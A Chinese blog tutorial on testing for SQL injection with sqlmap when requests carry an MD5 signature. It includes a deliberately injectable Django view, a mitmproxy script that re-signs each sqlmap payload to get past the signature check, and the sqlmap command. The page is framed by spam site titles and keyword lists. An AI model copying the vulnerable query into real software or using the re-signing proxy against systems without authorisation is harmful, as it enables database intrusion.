中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

sqlmap處理sign加密的思路

發布時間:2022-01-18 13:53:26 來源:億速云 閱讀:141 作者:柒染 欄目:網絡安全

小編今天帶大家了解sqlmap處理sign加密的思路,文中知識點介紹的非常詳細。覺得有幫助的朋友可以跟著小編一起瀏覽文章的內容,希望能夠幫助更多想解決這個問題的朋友找到問題的答案,下面跟著小編一起深入學習“sqlmap處理sign加密的思路”的知識吧。

我對公司的APP進行測試的時候發現,我們是將所有的參數內容加上一個32位字符最后在進行MD5加密。由于APP處理的流程首先是驗證sign是不是正確,如果驗簽失敗,根本就進不去數據庫,為了要使用SQLMAP對其進行測試,于是就寫了一個代理數據的腳本,在攔截到數據包之后,對其參數內容和32字符進行加密替換。

注:該腳本適用于公司內部系統,因為能夠知道加密的流程;或者能夠拿到前端JS的加密方式。

首先我使用Django寫了一個程序來模擬公司的系統,流程是獲取POST的id和token,并加上自定義加密的字符,由于Django獲取到數據是已經經過URLDECODE,所以我用了quote對參數id的內容進行URLENCODE,再進行MD5加密,最后驗證請求過來的token是否和參數內容一致。

views.py

from django.shortcuts import render
from django.http import JsonResponse
# Create your views here.
import hashlib
import MySQLdb
import urllib
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt
def index(request):
    id = request.POST.get("id")
    token = request.POST.get("token")
    str = urllib.quote(id+"test")
    print(str)
    hl = hashlib.md5()
    hl.update(str)
    token1 = hl.hexdigest()
    print token1
    if token == token1:
        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')
        cursor = db.cursor()
        cursor.execute("select * from t_userinfo where id="+id)
        data = cursor.fetchone()
        print "Database version : %s " % data
        db.close()
        return JsonResponse({"msg":"verity ok"})
    else:
        return JsonResponse({"msg":"verity error."})


models.py

class userinfo(models.Model):
    name = models.CharField(max_length=100)
    age = models.CharField(max_length=100)

使用BP進行抓包,可以看到當驗證正確和驗證錯誤返回的狀態。

sqlmap處理sign加密的思路sqlmap處理sign加密的思路

使用SQLMAP進行測試,發現無法測試。
sqlmap處理sign加密的思路于是我使用mitmproxy,mitmproxy是一個交互式的中間代理HTTP和HTTPS的控制臺界面,具體詳情可以看這里。

如果要修改的話,只修改wsproxy_request_handle函數,因為這個函數是攔截數據并且篡改數據的過程,其他的代碼都是配置過程和運行過程,不用修改。

from mitmproxy.proxy.server import ProxyServer
from mitmproxy import flow,  controller
from mitmproxy import flow, proxy, controller, options
import hashlib
import re


def md5cr(str):
    hl = hashlib.md5()
    hl.update(str.encode(encoding='utf-8'))
    return hl.hexdigest()

class WSProxy(flow.FlowMaster):
    def __init__(self, opts, server, state, unsave_data):
        super(WSProxy, self).__init__(opts, server, state)
        self.unsave_data = unsave_data
    def run(self):
        try:
            print("start")
            flow.FlowMaster.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    @controller.handler
    def request(self, f):
        wsproxy_request_handle(f)

    @controller.handler
    def response(self, f):
        wsproxy_response_handle(f)
        # parser = ResponseParser(f)
        # insert_result(parser.parser_data())

def wsproxy_request_handle(flow):
    """wyproxy send data to server before processing"""

    try:
        data = flow.request.content.split("&")
        t = ""
        for i in data:
            if i.split("=")[0] != "token":
                t = t+i.split("=")[1]
        str = t+"test"
        sign = md5cr(str)
        print(str)
        data1 = re.match("(.*?)token=",flow.request.content).group()
        flow.request.content = data1+sign
        print(flow.request.content)
    except IndexError:
        pass


def wsproxy_response_handle(flow):
    pass

port = 8888  #
mode = 'regular'  #mode=regular
opts = options.Options(
        listen_port=int(port),
        mode=mode,
        cadir="./ssl/",
)
unsave_data = False
config = proxy.ProxyConfig(opts)
state = flow.State()
server = ProxyServer(config)
m = WSProxy(opts, server, state, unsave_data)
m.run()

運行上面的腳本使用SQLMAP代理到上http://IP:8888上面,然后腳本會自動處理sqlmap的payload和生成對應的sign。

python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

sqlmap處理sign加密的思路

上面是生成payload和sign的過程,下面是我請求一個payload報錯的過程。

sqlmap處理sign加密的思路

sqlmap處理sign加密的思路

感謝大家的閱讀,以上就是“sqlmap處理sign加密的思路”的全部內容了,學會的朋友趕緊操作起來吧。相信億速云小編一定會給大家帶來更優質的文章。謝謝大家對億速云網站的支持!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

丰镇市| 海安县| 天峨县| 延寿县| 瑞安市| 绩溪县| 宁德市| 襄垣县| 金川县| 西平县| 鸡东县| 留坝县| 肥东县| 临高县| 遂平县| 专栏| 南雄市| 武安市| 白玉县| 繁峙县| 邵东县| 灌阳县| 香格里拉县| 红原县| 女性| 班玛县| 唐海县| 廊坊市| 呼伦贝尔市| 晋江市| 铜鼓县| 襄樊市| 嘉祥县| 南城县| 喀喇沁旗| 凤阳县| 东辽县| 平乡县| 三都| 永胜县| 博罗县|